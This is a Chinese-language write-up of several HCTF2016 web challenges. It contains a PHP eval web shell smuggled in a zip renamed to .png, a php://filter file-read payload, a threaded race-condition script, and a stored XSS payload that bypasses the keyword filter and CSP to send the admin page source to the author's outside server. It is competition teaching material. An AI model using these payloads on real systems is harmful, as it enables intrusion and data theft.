HCTF2016简单web部分writeup

HCTF2016简单web部分writeup
level 1 --> level 3


level 1

2099年的flag

网站上写着:only ios99 can get flag(Maybe you can easily get the flag in 2099
以前做过类似的题,直接改User-Agent,把请求改成用ios99来访问,直接改包
,至于原始UA可以通过chrome模拟抓包.

1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 99_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143

然后在响应头中发现flag


level 2

RESTFUL

网站有描述:

1
"Please <PUT> me some <money> more than <12450>!"

看到PUT想到HTTP有一种PUT请求
上网搜了一下PUT和12450的梗…
抓包

1
GET /index.php/flag HTTP/1.1

改为

1
PUT /index.php/money/23333 HTTP/1.1

得到flag


兵者多诡

有一个上传点,但是只能上传.png的文件
把eval.php文件压缩到zip包里,并将zip改名为.png为后缀,上传后用zip协议来执行php

1
2
3
4
5
6
7
8
<?php
//echo phpinfo();
@eval($cmd = $_GET['cmd']); //GET一个'cmd'参数执行命令
$it = new DirectoryIterator("glob:///var/www/html/*"); 
foreach($it as $f) {
echo $f,"</br>";
} //glob协议用来遍历目录用的
?>

有一个fp参数可以利用,构造
fp=zip://uploads/xxxxxxxxxx.png%23eval&imagekey=xxxxxx&cmd=echo “123”;
至于eval后不加.php是因为页面自动会在fp参数后加.php
就可执行任意命令了,然后找出一个flag的文件,得到flag.
读源码的协议为
php://filter
平时用来任意文件读取的payload为

1
php://filter/read=convert.base64-encode/resource=upload.php

这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。
resource=upload.php,代表读取upload.php的内容,由于是php文件,访问源码可以得到.


giligili

查看源码,是一道js逆向题,sctf q1上有一题类似的题,直接贴上地址sCTF2016_Q1 Obfus
看16进制看着头疼就没做了…


level 3

必须比香港记者还要快

题目网址中有changelog字样,访问/.git/目录发现有泄露,但是并没什么具体内容,尝试/README.md发现有东西,下载得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 跑得比谁都快
## ChangeLog 的故事
## 这里是加了.git之后忘删的README.md XD by Aklis
## ChangeLog
- 2016.11.11
完成登陆功能,登陆之后在session将用户名和用户等级放到会话信息里面。
判断sessioin['level']是否能在index.php查看管理员才能看到的**东西**。
XD
- 2016.11.10
老板说注册成功的用户不能是管理员,我再写多一句把权限降为普通用户好啰。
- 2016.10
我把注册功能写好了

然后不知道怎么搞,cookie什么的都找不到…
问了下学长,说是竞争条件漏洞,搜了下竞争条件漏洞
然后写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding:utf-8 -*-
import requests
import threading
for i in range(0,9):
a = "cccccccc"+str(i)
data = { 'username': a , 'password': a , 'gogogo' : '苟!'}
def register(a):
r = requests.post(url = "http://changelog.hctf.io/register.php" , data = data )
def login(a):
r = requests.post(url = "http://changelog.hctf.io/login.php" , data = data)
if "You level is zero, so you can't touch me!" not in r.content:
print r.content
exit()
threading.Thread(target = login , args =(a,)).start()
threading.Thread(target = register , args =(a,)).start()

运行,get flag.


guestbook

一个留言板,有一个md5验证,前四位判断,写个脚本跑数字.
留言后发现是等待管理员批准,可知管理员会看到此消息,由于并没有cookie一些模仿管理员登陆的页面,于是思路是写个js脚本,发给管理员,然后返回管理员当前页面的源代码,但是由于CSP的原因

1
2
content-security-policy :
default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

会有过滤,参考土土学长的一篇文章CSP浅析&简单的bypass
知道link标签

1
<link rel="prefetch" href="http://xxxx/submit.php?addadmin=123456">

的prefetch可以对外域发送请求.
简单尝试可知留言板简单过滤了script,link关键字,发现双写可以绕过
上网搜索js构造link标签,
于是构造:

1
2
3
4
5
6
7
<scrscriptipt>
var test = document.getElementsByTagName("html")[0].innerHTML;
var ccccccccccccc = document.createElement("lilinknk");
ccccccccccccc.setAttribute("rel", "prefetch");
ccccccccccccc.setAttribute("href", "http://xxx.xxx.xxx.xxx/xss.php?something="+escape(document.getElementsByTagName("html")[0].innerHTML));
document.head.appendChild(ccccccccccccc);
</scrscriptipt>

来获取管理员页面的源码

1
http://xxx.xxx.xxx.xxx/xss.php?something=

是在我自己的服务器上设置一个页面用来储存一些参数并储存在数据库中.用来获取一些cookie,源码…之类的东西.(注意数据库用text类型储存,不然会存不下= =||)
发送后刷新数据库就可以得到flag.

文章目录
  1. 1. level 1
    1. 1.1. 2099年的flag
  2. 2. level 2
    1. 2.1. RESTFUL
    2. 2.2. 兵者多诡
    3. 2.3. giligili
  3. 3. level 3
    1. 3.1. 必须比香港记者还要快
    2. 3.2. guestbook